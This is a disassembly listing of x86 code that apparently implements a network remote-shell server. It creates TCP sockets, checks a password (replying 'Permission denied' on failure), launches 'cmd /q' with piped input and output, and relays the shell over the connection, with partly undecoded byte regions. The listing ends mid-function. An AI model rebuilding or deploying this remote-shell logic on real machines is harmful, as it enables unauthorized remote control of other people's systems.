		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351CC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 226F55Bh, 69C44D8Bh,	234C9h,	89C63B00h, 43E92481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 226F4B2h,	0E890EDEBh
		dd 226FD1Ah, 51906850h,	99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9D4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA58
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB98C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E920[esi]
		call	dword_4CBA6C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dd 2CEE43E8h, 5E5F9002h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26E0000h


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26E0000h


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB944h, 0C63BF633h, 68501D74h
		dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022CEBh, 4116CC68h, 0F7E3E800h,	85900236h
		dd 0E82975C0h, 226F766h, 0B0685090h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22CEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
		dd 15FF5350h, 4CBA00h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB9FCh, 850FC085h, 103h, 43547468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 1CE85056h,	900226EEh
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0E890326Ah, 226ED72h,	0E890EDEBh
		dd 226F5DAh, 53F46850h,	59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022CE9h, 4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2690B4Dh


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2790000h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	near ptr 2690B4Dh
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2710A8Eh


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2670323h
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		nop
		call	near ptr 2670000h
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		call	near ptr 27900D7h
		nop
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


